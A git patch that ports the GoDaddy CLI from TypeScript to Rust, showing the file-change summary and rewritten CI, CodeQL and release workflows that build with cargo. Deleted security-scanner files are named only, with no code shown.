From 27e3526666afb9925392bb38fbea27ad6db918b4 Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Mon, 1 Jun 2026 14:24:57 -0700 Subject: [PATCH 1/2] Port to Rust Port code to rust, based on `cli_engine` --- .changeset/README.md | 9 +- .github/workflows/cicd.yml | 46 +- .github/workflows/codeql-analysis.yml | 64 +- .github/workflows/release.yaml | 117 +- .gitignore | 201 +- .nvmrc | 1 - AGENTS.md | 54 +- CLAUDE.md | 137 +- CONTRIBUTING.md | 173 +- README.md | 10 +- biome.json | 41 - build.mjs | 95 - mise.toml | 2 +- package.json | 86 - pnpm-lock.yaml | 4424 - require-shim.js | 16 - rust/Cargo.lock | 3888 + rust/Cargo.toml | 59 + .../actions/commerce-payment-process.json | 0 .../actions/commerce-payment-refund.json | 0 .../commerce-price-adjustment-apply.json | 0 .../commerce-shipping-rates-calculate.json | 0 .../actions/commerce-taxes-calculate.json | 0 .../actions/location-address-verify.json | 0 .../schemas/actions/manifest.json | 0 .../actions/notifications-email-send.json | 0 rust/schemas/api/bulk-operations.json | 4203 + rust/schemas/api/businesses.json | 3530 + .../schemas/api/catalog-products.json | 1252 +- {src/cli => rust}/schemas/api/channels.json | 15410 ++- rust/schemas/api/chargebacks.json | 1634 + rust/schemas/api/customer-profiles.json | 1420 + rust/schemas/api/fulfillments.json | 2224 + .../schemas/api/location-addresses.json | 760 +- {src/cli => rust}/schemas/api/manifest.json | 126 +- rust/schemas/api/metafields.json | 1068 + {src/cli => rust}/schemas/api/onboarding.json | 4904 +- rust/schemas/api/orders.json | 5358 + rust/schemas/api/payment-requests.json | 2431 + {src/cli => rust}/schemas/api/payments.json | 87964 ++++++++-------- .../schemas/api/price-adjustments.json | 4032 +- rust/schemas/api/recommendations.json | 999 + rust/schemas/api/shipping.json | 893 + rust/schemas/api/stores.json | 3917 + rust/schemas/api/subscriptions.json | 2306 + {src/cli => rust}/schemas/api/taxes.json | 56 +- .../schemas/api/transactions.json | 48241 ++++----- rust/src/actions_catalog/mod.rs | 76 + rust/src/api_explorer/mod.rs | 518 + rust/src/application/client.rs | 185 + rust/src/application/commands/mod.rs | 944 + rust/src/application/mod.rs | 8 + rust/src/auth.rs | 86 + rust/src/config/mod.rs | 131 + rust/src/env/mod.rs | 111 + rust/src/extension/mod.rs | 1736 + rust/src/main.rs | 55 + rust/src/webhook/mod.rs | 42 + rust/tools/generate-api-catalog/Cargo.toml | 14 + rust/tools/generate-api-catalog/src/main.rs | 1352 + scripts/generate-api-catalog.ts | 1467 - src/cli-entry.ts | 553 - src/cli/agent/errors.ts | 299 - src/cli/agent/stream.ts | 59 - src/cli/agent/truncation.ts | 147 - src/cli/agent/types.ts | 38 - src/cli/commands/actions.ts | 179 - src/cli/commands/api.ts | 1300 - src/cli/commands/application.ts | 1305 - src/cli/commands/auth.ts | 179 - src/cli/commands/env.ts | 227 - src/cli/commands/webhook.ts | 85 - src/cli/index.ts | 15 - src/cli/schemas/actions/index.ts | 79 - src/cli/schemas/api/bulk-operations.json | 17593 ---- src/cli/schemas/api/businesses.json | 5715 - src/cli/schemas/api/chargebacks.json | 3506 - src/cli/schemas/api/customer-profiles.json | 6729 -- src/cli/schemas/api/fulfillments.json | 5552 - src/cli/schemas/api/index.ts | 295 - src/cli/schemas/api/metafields.json | 11940 --- src/cli/schemas/api/orders.json | 59838 ----------- src/cli/schemas/api/payment-requests.json | 9057 -- src/cli/schemas/api/recommendations.json | 1675 - src/cli/schemas/api/registry.generated.ts | 48 - src/cli/schemas/api/shipping.json | 6826 -- src/cli/schemas/api/stores.json | 6141 -- src/cli/schemas/api/subscriptions.json | 4691 - src/cli/services/cli-config.ts | 38 - src/cli/services/envelope-writer.ts | 310 - src/core/api.ts | 679 - src/core/applications.ts | 1383 - src/core/auth.ts | 433 - src/core/environment.ts | 287 - src/core/extension/bundler-config.ts | 151 - src/core/extension/entry.ts | 229 - src/core/extension/naming.ts | 110 - src/core/extension/validation.ts | 6 - src/core/security/alias-builder.ts | 287 - src/core/security/bundle-scanner.ts | 163 - src/core/security/config.ts | 78 - src/core/security/engine.ts | 115 - src/core/security/file-discovery.ts | 98 - src/core/security/matchers.ts | 334 - src/core/security/rules/README.md | 409 - src/core/security/rules/SEC001-eval.ts | 63 - .../security/rules/SEC002-child-process.ts | 99 - src/core/security/rules/SEC003-vm.ts | 113 - .../rules/SEC004-process-internals.ts | 62 - .../security/rules/SEC005-native-addons.ts | 84 - .../security/rules/SEC006-module-patching.ts | 90 - src/core/security/rules/SEC007-inspector.ts | 63 - .../security/rules/SEC008-external-urls.ts | 77 - src/core/security/rules/SEC009-large-blobs.ts | 83 - .../security/rules/SEC010-sensitive-paths.ts | 55 - src/core/security/rules/bundle/SEC101-eval.ts | 39 - .../rules/bundle/SEC102-child-process.ts | 53 - src/core/security/rules/bundle/SEC103-vm.ts | 33 - .../rules/bundle/SEC104-process-binding.ts | 29 - .../rules/bundle/SEC105-native-addon.ts | 29 - .../rules/bundle/SEC106-module-patch.ts | 34 - .../security/rules/bundle/SEC107-inspector.ts | 31 - .../rules/bundle/SEC108-external-url.ts | 41 - .../rules/bundle/SEC109-encoded-blob.ts | 29 - .../rules/bundle/SEC110-sensitive-ops.ts | 39 - src/core/security/rules/bundle/index.ts | 40 - src/core/security/rules/index.ts | 44 - src/core/security/scripts-scanner.ts | 171 - src/core/security/types.ts | 173 - src/core/token-store.ts | 357 - src/core/webhooks.ts | 47 - src/effect/errors.ts | 140 - src/effect/fs-utils.ts | 18 - src/effect/layers/keychain-native.ts | 427 - src/effect/layers/node-live.ts | 40 - src/effect/runtime.ts | 12 - src/effect/services/browser.ts | 10 - src/effect/services/keychain.ts | 28 - src/index.ts | 31 - src/services/applications.ts | 454 - src/services/config.ts | 806 - src/services/extension/bundler.ts | 314 - src/services/extension/presigned-url.ts | 137 - src/services/extension/security-scan.ts | 282 - src/services/extension/upload.ts | 233 - src/services/extension/workspace.ts | 252 - src/services/graphql-error.ts | 263 - src/services/http-helpers.ts | 68 - src/services/logger.ts | 255 - src/services/public-url.ts | 131 - src/services/webhook-events.ts | 109 - src/shared/cli-trace.ts | 21 - tests/fixtures/clean-bundle.mjs | 10 - .../extensions/invalid-syntax/package.json | 6 - .../extensions/invalid-syntax/src/index.ts | 6 - .../extensions/simple-ts/package.json | 6 - .../extensions/simple-ts/src/index.ts | 5 - .../extensions/with-deps/package.json | 9 - .../extensions/with-deps/src/index.ts | 7 - .../with-local-tsconfig/package.json | 6 - .../with-local-tsconfig/src/index.ts | 5 - .../with-local-tsconfig/tsconfig.json | 8 - tests/fixtures/malicious-bundle.mjs | 16 - tests/helpers/node-fs.ts | 8 - tests/integration/application-service.test.ts | 168 - tests/integration/auth-flow.test.ts | 79 - .../bundle-security-orchestration.test.ts | 228 - tests/integration/cli-smoke.test.ts | 354 - tests/integration/webhook-service.test.ts | 77 - tests/performance/security-scan.perf.test.ts | 190 - tests/setup/auth-utils.ts | 57 - tests/setup/effect-test-utils.ts | 59 - tests/setup/fixtures/application-fixtures.ts | 80 - tests/setup/fixtures/auth-fixtures.ts | 41 - tests/setup/fixtures/error-fixtures.ts | 61 - tests/setup/fixtures/fixture-utils.ts | 40 - tests/setup/fixtures/webhook-fixtures.ts | 58 - tests/setup/global-setup.ts | 21 - tests/setup/handlers/application-handlers.ts | 465 - tests/setup/handlers/auth-handlers.ts | 162 - tests/setup/handlers/webhook-handlers.ts | 23 - tests/setup/msw-server.ts | 10 - tests/setup/system-mocks.ts | 61 - tests/setup/test-utils.ts | 41 - tests/setup/tui-mocks.ts | 50 - .../unit/application-deploy-security.test.ts | 530 - tests/unit/auth.test.ts | 31 - tests/unit/cli-registry.test.ts | 85 - tests/unit/cli/api-catalog.test.ts | 24 - tests/unit/cli/api-command.test.ts | 138 - tests/unit/cli/deploy-stream.test.ts | 98 - tests/unit/cli/truncation.test.ts | 71 - tests/unit/core/api.test.ts | 319 - tests/unit/core/environment.test.ts | 38 - .../unit/core/security/alias-builder.test.ts | 327 - .../unit/core/security/bundle-scanner.test.ts | 163 - tests/unit/core/security/bundle-types.test.ts | 54 - tests/unit/core/security/config.test.ts | 181 - tests/unit/core/security/engine.test.ts | 378 - .../unit/core/security/file-discovery.test.ts | 266 - tests/unit/core/security/matchers.test.ts | 551 - .../core/security/rules/SEC001-eval.test.ts | 197 - .../rules/SEC002-child-process.test.ts | 248 - .../core/security/rules/SEC003-vm.test.ts | 145 - .../rules/SEC004-process-internals.test.ts | 138 - .../rules/SEC005-native-addons.test.ts | 153 - .../rules/SEC006-module-patching.test.ts | 139 - .../security/rules/SEC007-inspector.test.ts | 125 - .../rules/SEC008-external-urls.test.ts | 205 - .../security/rules/SEC009-large-blobs.test.ts | 175 - .../rules/SEC010-sensitive-paths.test.ts | 178 - .../security/rules/bundle/SEC101-eval.test.ts | 76 - .../rules/bundle/SEC102-child-process.test.ts | 84 - .../security/rules/bundle/SEC103-vm.test.ts | 84 - .../bundle/SEC104-process-binding.test.ts | 67 - .../rules/bundle/SEC105-native-addon.test.ts | 68 - .../rules/bundle/SEC106-module-patch.test.ts | 84 - .../rules/bundle/SEC107-inspector.test.ts | 84 - .../rules/bundle/SEC108-external-url.test.ts | 76 - .../rules/bundle/SEC109-encoded-blob.test.ts | 64 - .../rules/bundle/SEC110-sensitive-ops.test.ts | 108 - .../core/security/scripts-scanner.test.ts | 323 - tests/unit/core/security/types.test.ts | 312 - tests/unit/core/token-store.test.ts | 148 - tests/unit/extension/bundler-config.test.ts | 133 - tests/unit/extension/bundler.test.ts | 466 - tests/unit/extension/entry.test.ts | 395 - tests/unit/extension/naming.test.ts | 193 - tests/unit/extension/workspace.test.ts | 508 - tests/unit/fixtures.test.ts | 42 - tests/unit/graphql-errors.test.ts | 540 - tests/unit/oauth-endpoints.test.ts | 150 - tests/unit/services/config-routing.test.ts | 150 - .../services/extension/presigned-url.test.ts | 241 - .../services/extension/security-scan.test.ts | 883 - tests/unit/services/extension/upload.test.ts | 259 - tests/unit/services/public-url.test.ts | 121 - tests/unit/shared/cli-trace.test.ts | 30 - tsconfig.json | 47 - vitest.config.ts | 25 - 240 files changed, 113775 insertions(+), 263426 deletions(-) delete mode 100644 .nvmrc delete mode 100644 biome.json delete mode 100644 build.mjs delete mode 100644 package.json delete mode 100644 pnpm-lock.yaml delete mode 100644 require-shim.js create mode 100644 rust/Cargo.lock create mode 100644 rust/Cargo.toml rename {src/cli => rust}/schemas/actions/commerce-payment-process.json (100%) rename {src/cli => rust}/schemas/actions/commerce-payment-refund.json (100%) rename {src/cli => rust}/schemas/actions/commerce-price-adjustment-apply.json (100%) rename {src/cli => rust}/schemas/actions/commerce-shipping-rates-calculate.json (100%) rename {src/cli => rust}/schemas/actions/commerce-taxes-calculate.json (100%) rename {src/cli => rust}/schemas/actions/location-address-verify.json (100%) rename {src/cli => rust}/schemas/actions/manifest.json (100%) rename {src/cli => rust}/schemas/actions/notifications-email-send.json (100%) create mode 100644 rust/schemas/api/bulk-operations.json create mode 100644 rust/schemas/api/businesses.json rename {src/cli => rust}/schemas/api/catalog-products.json (99%) rename {src/cli => rust}/schemas/api/channels.json (78%) create mode 100644 rust/schemas/api/chargebacks.json create mode 100644 rust/schemas/api/customer-profiles.json create mode 100644 rust/schemas/api/fulfillments.json rename {src/cli => rust}/schemas/api/location-addresses.json (76%) rename {src/cli => rust}/schemas/api/manifest.json (96%) create mode 100644 rust/schemas/api/metafields.json rename {src/cli => rust}/schemas/api/onboarding.json (54%) create mode 100644 rust/schemas/api/orders.json create mode 100644 rust/schemas/api/payment-requests.json rename {src/cli => rust}/schemas/api/payments.json (75%) rename {src/cli => rust}/schemas/api/price-adjustments.json (66%) create mode 100644 rust/schemas/api/recommendations.json create mode 100644 rust/schemas/api/shipping.json create mode 100644 rust/schemas/api/stores.json create mode 100644 rust/schemas/api/subscriptions.json rename {src/cli => rust}/schemas/api/taxes.json (98%) rename {src/cli => rust}/schemas/api/transactions.json (58%) create mode 100644 rust/src/actions_catalog/mod.rs create mode 100644 rust/src/api_explorer/mod.rs create mode 100644 rust/src/application/client.rs create mode 100644 rust/src/application/commands/mod.rs create mode 100644 rust/src/application/mod.rs create mode 100644 rust/src/auth.rs create mode 100644 rust/src/config/mod.rs create mode 100644 rust/src/env/mod.rs create mode 100644 rust/src/extension/mod.rs create mode 100644 rust/src/main.rs create mode 100644 rust/src/webhook/mod.rs create mode 100644 rust/tools/generate-api-catalog/Cargo.toml create mode 100644 rust/tools/generate-api-catalog/src/main.rs delete mode 100644 scripts/generate-api-catalog.ts delete mode 100644 src/cli-entry.ts delete mode 100644 src/cli/agent/errors.ts delete mode 100644 src/cli/agent/stream.ts delete mode 100644 src/cli/agent/truncation.ts delete mode 100644 src/cli/agent/types.ts delete mode 100644 src/cli/commands/actions.ts delete mode 100644 src/cli/commands/api.ts delete mode 100644 src/cli/commands/application.ts delete mode 100644 src/cli/commands/auth.ts delete mode 100644 src/cli/commands/env.ts delete mode 100644 src/cli/commands/webhook.ts delete mode 100644 src/cli/index.ts delete mode 100644 src/cli/schemas/actions/index.ts delete mode 100644 src/cli/schemas/api/bulk-operations.json delete mode 100644 src/cli/schemas/api/businesses.json delete mode 100644 src/cli/schemas/api/chargebacks.json delete mode 100644 src/cli/schemas/api/customer-profiles.json delete mode 100644 src/cli/schemas/api/fulfillments.json delete mode 100644 src/cli/schemas/api/index.ts delete mode 100644 src/cli/schemas/api/metafields.json delete mode 100644 src/cli/schemas/api/orders.json delete mode 100644 src/cli/schemas/api/payment-requests.json delete mode 100644 src/cli/schemas/api/recommendations.json delete mode 100644 src/cli/schemas/api/registry.generated.ts delete mode 100644 src/cli/schemas/api/shipping.json delete mode 100644 src/cli/schemas/api/stores.json delete mode 100644 src/cli/schemas/api/subscriptions.json delete mode 100644 src/cli/services/cli-config.ts delete mode 100644 src/cli/services/envelope-writer.ts delete mode 100644 src/core/api.ts delete mode 100644 src/core/applications.ts delete mode 100644 src/core/auth.ts delete mode 100644 src/core/environment.ts delete mode 100644 src/core/extension/bundler-config.ts delete mode 100644 src/core/extension/entry.ts delete mode 100644 src/core/extension/naming.ts delete mode 100644 src/core/extension/validation.ts delete mode 100644 src/core/security/alias-builder.ts delete mode 100644 src/core/security/bundle-scanner.ts delete mode 100644 src/core/security/config.ts delete mode 100644 src/core/security/engine.ts delete mode 100644 src/core/security/file-discovery.ts delete mode 100644 src/core/security/matchers.ts delete mode 100644 src/core/security/rules/README.md delete mode 100644 src/core/security/rules/SEC001-eval.ts delete mode 100644 src/core/security/rules/SEC002-child-process.ts delete mode 100644 src/core/security/rules/SEC003-vm.ts delete mode 100644 src/core/security/rules/SEC004-process-internals.ts delete mode 100644 src/core/security/rules/SEC005-native-addons.ts delete mode 100644 src/core/security/rules/SEC006-module-patching.ts delete mode 100644 src/core/security/rules/SEC007-inspector.ts delete mode 100644 src/core/security/rules/SEC008-external-urls.ts delete mode 100644 src/core/security/rules/SEC009-large-blobs.ts delete mode 100644 src/core/security/rules/SEC010-sensitive-paths.ts delete mode 100644 src/core/security/rules/bundle/SEC101-eval.ts delete mode 100644 src/core/security/rules/bundle/SEC102-child-process.ts delete mode 100644 src/core/security/rules/bundle/SEC103-vm.ts delete mode 100644 src/core/security/rules/bundle/SEC104-process-binding.ts delete mode 100644 src/core/security/rules/bundle/SEC105-native-addon.ts delete mode 100644 src/core/security/rules/bundle/SEC106-module-patch.ts delete mode 100644 src/core/security/rules/bundle/SEC107-inspector.ts delete mode 100644 src/core/security/rules/bundle/SEC108-external-url.ts delete mode 100644 src/core/security/rules/bundle/SEC109-encoded-blob.ts delete mode 100644 src/core/security/rules/bundle/SEC110-sensitive-ops.ts delete mode 100644 src/core/security/rules/bundle/index.ts delete mode 100644 src/core/security/rules/index.ts delete mode 100644 src/core/security/scripts-scanner.ts delete mode 100644 src/core/security/types.ts delete mode 100644 src/core/token-store.ts delete mode 100644 src/core/webhooks.ts delete mode 100644 src/effect/errors.ts delete mode 100644 src/effect/fs-utils.ts delete mode 100644 src/effect/layers/keychain-native.ts delete mode 100644 src/effect/layers/node-live.ts delete mode 100644 src/effect/runtime.ts delete mode 100644 src/effect/services/browser.ts delete mode 100644 src/effect/services/keychain.ts delete mode 100644 src/index.ts delete mode 100644 src/services/applications.ts delete mode 100644 src/services/config.ts delete mode 100644 src/services/extension/bundler.ts delete mode 100644 src/services/extension/presigned-url.ts delete mode 100644 src/services/extension/security-scan.ts delete mode 100644 src/services/extension/upload.ts delete mode 100644 src/services/extension/workspace.ts delete mode 100644 src/services/graphql-error.ts delete mode 100644 src/services/http-helpers.ts delete mode 100644 src/services/logger.ts delete mode 100644 src/services/public-url.ts delete mode 100644 src/services/webhook-events.ts delete mode 100644 src/shared/cli-trace.ts delete mode 100644 tests/fixtures/clean-bundle.mjs delete mode 100644 tests/fixtures/extensions/invalid-syntax/package.json delete mode 100644 tests/fixtures/extensions/invalid-syntax/src/index.ts delete mode 100644 tests/fixtures/extensions/simple-ts/package.json delete mode 100644 tests/fixtures/extensions/simple-ts/src/index.ts delete mode 100644 tests/fixtures/extensions/with-deps/package.json delete mode 100644 tests/fixtures/extensions/with-deps/src/index.ts delete mode 100644 tests/fixtures/extensions/with-local-tsconfig/package.json delete mode 100644 tests/fixtures/extensions/with-local-tsconfig/src/index.ts delete mode 100644 tests/fixtures/extensions/with-local-tsconfig/tsconfig.json delete mode 100644 tests/fixtures/malicious-bundle.mjs delete mode 100644 tests/helpers/node-fs.ts delete mode 100644 tests/integration/application-service.test.ts delete mode 100644 tests/integration/auth-flow.test.ts delete mode 100644 tests/integration/bundle-security-orchestration.test.ts delete mode 100644 tests/integration/cli-smoke.test.ts delete mode 100644 tests/integration/webhook-service.test.ts delete mode 100644 tests/performance/security-scan.perf.test.ts delete mode 100644 tests/setup/auth-utils.ts delete mode 100644 tests/setup/effect-test-utils.ts delete mode 100644 tests/setup/fixtures/application-fixtures.ts delete mode 100644 tests/setup/fixtures/auth-fixtures.ts delete mode 100644 tests/setup/fixtures/error-fixtures.ts delete mode 100644 tests/setup/fixtures/fixture-utils.ts delete mode 100644 tests/setup/fixtures/webhook-fixtures.ts delete mode 100644 tests/setup/global-setup.ts delete mode 100644 tests/setup/handlers/application-handlers.ts delete mode 100644 tests/setup/handlers/auth-handlers.ts delete mode 100644 tests/setup/handlers/webhook-handlers.ts delete mode 100644 tests/setup/msw-server.ts delete mode 100644 tests/setup/system-mocks.ts delete mode 100644 tests/setup/test-utils.ts delete mode 100644 tests/setup/tui-mocks.ts delete mode 100644 tests/unit/application-deploy-security.test.ts delete mode 100644 tests/unit/auth.test.ts delete mode 100644 tests/unit/cli-registry.test.ts delete mode 100644 tests/unit/cli/api-catalog.test.ts delete mode 100644 tests/unit/cli/api-command.test.ts delete mode 100644 tests/unit/cli/deploy-stream.test.ts delete mode 100644 tests/unit/cli/truncation.test.ts delete mode 100644 tests/unit/core/api.test.ts delete mode 100644 tests/unit/core/environment.test.ts delete mode 100644 tests/unit/core/security/alias-builder.test.ts delete mode 100644 tests/unit/core/security/bundle-scanner.test.ts delete mode 100644 tests/unit/core/security/bundle-types.test.ts delete mode 100644 tests/unit/core/security/config.test.ts delete mode 100644 tests/unit/core/security/engine.test.ts delete mode 100644 tests/unit/core/security/file-discovery.test.ts delete mode 100644 tests/unit/core/security/matchers.test.ts delete mode 100644 tests/unit/core/security/rules/SEC001-eval.test.ts delete mode 100644 tests/unit/core/security/rules/SEC002-child-process.test.ts delete mode 100644 tests/unit/core/security/rules/SEC003-vm.test.ts delete mode 100644 tests/unit/core/security/rules/SEC004-process-internals.test.ts delete mode 100644 tests/unit/core/security/rules/SEC005-native-addons.test.ts delete mode 100644 tests/unit/core/security/rules/SEC006-module-patching.test.ts delete mode 100644 tests/unit/core/security/rules/SEC007-inspector.test.ts delete mode 100644 tests/unit/core/security/rules/SEC008-external-urls.test.ts delete mode 100644 tests/unit/core/security/rules/SEC009-large-blobs.test.ts delete mode 100644 tests/unit/core/security/rules/SEC010-sensitive-paths.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC101-eval.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC102-child-process.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC103-vm.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC104-process-binding.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC105-native-addon.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC106-module-patch.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC107-inspector.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC108-external-url.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC109-encoded-blob.test.ts delete mode 100644 tests/unit/core/security/rules/bundle/SEC110-sensitive-ops.test.ts delete mode 100644 tests/unit/core/security/scripts-scanner.test.ts delete mode 100644 tests/unit/core/security/types.test.ts delete mode 100644 tests/unit/core/token-store.test.ts delete mode 100644 tests/unit/extension/bundler-config.test.ts delete mode 100644 tests/unit/extension/bundler.test.ts delete mode 100644 tests/unit/extension/entry.test.ts delete mode 100644 tests/unit/extension/naming.test.ts delete mode 100644 tests/unit/extension/workspace.test.ts delete mode 100644 tests/unit/fixtures.test.ts delete mode 100644 tests/unit/graphql-errors.test.ts delete mode 100644 tests/unit/oauth-endpoints.test.ts delete mode 100644 tests/unit/services/config-routing.test.ts delete mode 100644 tests/unit/services/extension/presigned-url.test.ts delete mode 100644 tests/unit/services/extension/security-scan.test.ts delete mode 100644 tests/unit/services/extension/upload.test.ts delete mode 100644 tests/unit/services/public-url.test.ts delete mode 100644 tests/unit/shared/cli-trace.test.ts delete mode 100644 tsconfig.json delete mode 100644 vitest.config.ts diff --git a/.changeset/README.md b/.changeset/README.md index e5b6d8d..52baf34 100644 --- a/.changeset/README.md +++ b/.changeset/README.md @@ -1,8 +1,3 @@ -# Changesets +# .changeset -Hello and welcome! This folder has been automatically generated by `@changesets/cli`, a build tool that works -with multi-package repos, or single-package repos to help you version and publish your code. You can -find the full documentation for it [in our repository](https://github.com/changesets/changesets) - -We have a quick list of common questions to get you started engaging with this project in -[our documentation](https://github.com/changesets/changesets/blob/main/docs/common-questions.md) +This directory previously held changesets for the npm package `@godaddy/cli`. The project has been rewritten in Rust; this directory is retained for historical reference only. New releases are managed via git tags and GitHub Releases. diff --git a/.github/workflows/cicd.yml b/.github/workflows/cicd.yml index b117066..6bd144f 100644 --- a/.github/workflows/cicd.yml +++ b/.github/workflows/cicd.yml @@ -1,40 +1,46 @@ name: CICD -on: +on: push: branches: - 'main' pull_request: branches: - - '*' + - '*' jobs: cicd: runs-on: ubuntu-latest concurrency: ${{ github.workflow }}-${{ github.ref }} + defaults: + run: + working-directory: rust steps: - name: Checkout code - uses: actions/checkout@v6.0.2 + uses: actions/checkout@v4 - - name: Setup pnpm - uses: pnpm/action-setup@v6.0.5 - - - name: Install system dependencies - run: sudo apt-get update && sudo apt-get install -y libsecret-1-dev build-essential python3 + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@stable + with: + components: clippy, rustfmt - - name: Setup Node.js - uses: actions/setup-node@v6.4.0 + - name: Cache cargo + uses: actions/cache@v4 with: - node-version-file: '.nvmrc' - cache: 'pnpm' + path: | + ~/.cargo/registry + ~/.cargo/git + rust/target + key: ${{ runner.os }}-cargo-${{ hashFiles('rust/Cargo.lock') }} + restore-keys: ${{ runner.os }}-cargo- - - name: Install dependencies - run: pnpm install + - name: Check + run: cargo check - - name: Build CLI - run: pnpm run build + - name: Format + run: cargo fmt --check - - name: Type check - run: pnpm run check + - name: Lint + run: cargo clippy -- -D warnings - - name: Run tests - run: pnpm test + - name: Test + run: cargo test diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml index 172cac9..6f46cd4 100644 --- a/.github/workflows/codeql-analysis.yml +++ b/.github/workflows/codeql-analysis.yml @@ -1,21 +1,9 @@ -# For most projects, this workflow file will not need changing; you simply need -# to commit it to your repository. -# -# You may wish to alter this file to override the set of languages analyzed, -# or to provide custom queries or build logic. -# -# ******** NOTE ******** -# We have attempted to detect the languages in your repository. Please check -# the `language` matrix defined below to confirm you have the correct set of -# supported CodeQL languages. -# -name: "CodeQL" +name: CodeQL on: push: branches: [ main ] pull_request: - # The branches below must be a subset of the branches above branches: [ main ] schedule: - cron: '19 21 * * 3' @@ -24,44 +12,24 @@ jobs: analyze: name: Analyze runs-on: ubuntu-latest - - strategy: - fail-fast: false - matrix: - language: [ 'javascript' ] - # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] - # Learn more: - # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed + permissions: + security-events: write steps: - - name: Checkout repository - uses: actions/checkout@v5 - - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: github/codeql-action/init@v4 - with: - languages: ${{ matrix.language }} - # If you wish to specify custom queries, you can do so here or in a config file. - # By default, queries listed here will override any specified in a config file. - # Prefix the list here with "+" to use these queries and those in the config file. - # queries: ./path/to/local/query, your-org/your-repo/queries@main - - # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). - # If this step fails, then you should remove it and run the build manually (see below) - - name: Autobuild - uses: github/codeql-action/autobuild@v4 + - name: Checkout repository + uses: actions/checkout@v4 - # ℹ️ Command-line programs to run using the OS shell. - # 📚 https://git.io/JvXDl + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@stable - # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines - # and modify them (or add more) to build your code if your project - # uses a compiled language + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: rust - #- run: | - # make bootstrap - # make release + - name: Build + run: cargo build + working-directory: rust - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v4 + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 diff --git a/.github/workflows/release.yaml b/.github/workflows/release.yaml index bd7665e..20ecd51 100644 --- a/.github/workflows/release.yaml +++ b/.github/workflows/release.yaml @@ -2,44 +2,105 @@ name: Release on: push: - branches: - - main - -concurrency: ${{ github.workflow }}-${{ github.ref }} + tags: + - 'v*' permissions: - id-token: write contents: write - pull-requests: write jobs: - release: - name: Release - runs-on: ubuntu-latest + build: + name: Build ${{ matrix.target }} + runs-on: ${{ matrix.os }} + strategy: + matrix: + include: + - target: x86_64-unknown-linux-gnu + os: ubuntu-latest + artifact: godaddy + - target: aarch64-unknown-linux-gnu + os: ubuntu-latest + artifact: godaddy + cross: true + - target: x86_64-apple-darwin + os: macos-latest + artifact: godaddy + - target: aarch64-apple-darwin + os: macos-latest + artifact: godaddy + - target: x86_64-pc-windows-msvc + os: windows-latest + artifact: godaddy.exe + defaults: + run: + working-directory: rust steps: - - name: Checkout Repo - uses: actions/checkout@v6.0.2 + - name: Checkout code + uses: actions/checkout@v4 + + - name: Install Rust toolchain + uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.target }} + + - name: Cache cargo + uses: actions/cache@v4 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + rust/target + key: ${{ runner.os }}-${{ matrix.target }}-cargo-${{ hashFiles('rust/Cargo.lock') }} + restore-keys: ${{ runner.os }}-${{ matrix.target }}-cargo- + + - name: Install cross + if: matrix.cross == true + run: cargo install cross --locked - - name: Setup pnpm - uses: pnpm/action-setup@v6.0.5 + - name: Build + shell: bash + run: | + if [ "${{ matrix.cross }}" = "true" ]; then + cross build --release --target ${{ matrix.target }} + else + cargo build --release --target ${{ matrix.target }} + fi - - name: Install system dependencies - run: sudo apt-get update && sudo apt-get install -y libsecret-1-dev build-essential python3 + - name: Package + shell: bash + run: | + TAG=${GITHUB_REF#refs/tags/} + ARCHIVE="godaddy-${TAG}-${{ matrix.target }}" + mkdir dist + cp target/${{ matrix.target }}/release/${{ matrix.artifact }} dist/ + cd dist + if [[ "${{ matrix.os }}" == "windows-latest" ]]; then + 7z a "../${ARCHIVE}.zip" ${{ matrix.artifact }} + echo "ARCHIVE=${ARCHIVE}.zip" >> "$GITHUB_ENV" + else + tar czf "../${ARCHIVE}.tar.gz" ${{ matrix.artifact }} + echo "ARCHIVE=${ARCHIVE}.tar.gz" >> "$GITHUB_ENV" + fi - - name: Setup Node - uses: actions/setup-node@v6.4.0 + - name: Upload artifact + uses: actions/upload-artifact@v4 with: - node-version: "24" - cache: "pnpm" + name: ${{ matrix.target }} + path: rust/${{ env.ARCHIVE }} - - name: Install Dependencies - run: pnpm install --prefer-offline + release: + name: Create GitHub Release + needs: build + runs-on: ubuntu-latest + steps: + - name: Download artifacts + uses: actions/download-artifact@v4 + with: + path: artifacts + merge-multiple: true - - name: Create Release Pull Request or Publish to npm - id: changesets - uses: changesets/action@v1.7.0 + - name: Create release + uses: softprops/action-gh-release@v2 with: - version: pnpm run version - publish: pnpm publish --filter @godaddy/cli - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + files: artifacts/* + generate_release_notes: true diff --git a/.gitignore b/.gitignore index 219a49f..78a3288 100644 --- a/.gitignore +++ b/.gitignore @@ -1,202 +1,23 @@ -# Based on https://raw.githubusercontent.com/github/gitignore/main/Node.gitignore - -# Logs - -logs -_.log -npm-debug.log_ -yarn-debug.log* -yarn-error.log* -lerna-debug.log* -.pnpm-debug.log* - -# Caches - -.cache - -# Diagnostic reports (https://nodejs.org/api/report.html) - -report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json - -# Runtime data - -pids -_.pid -_.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover - -lib-cov - -# Coverage directory used by tools like istanbul - -coverage -*.lcov - -# nyc test coverage 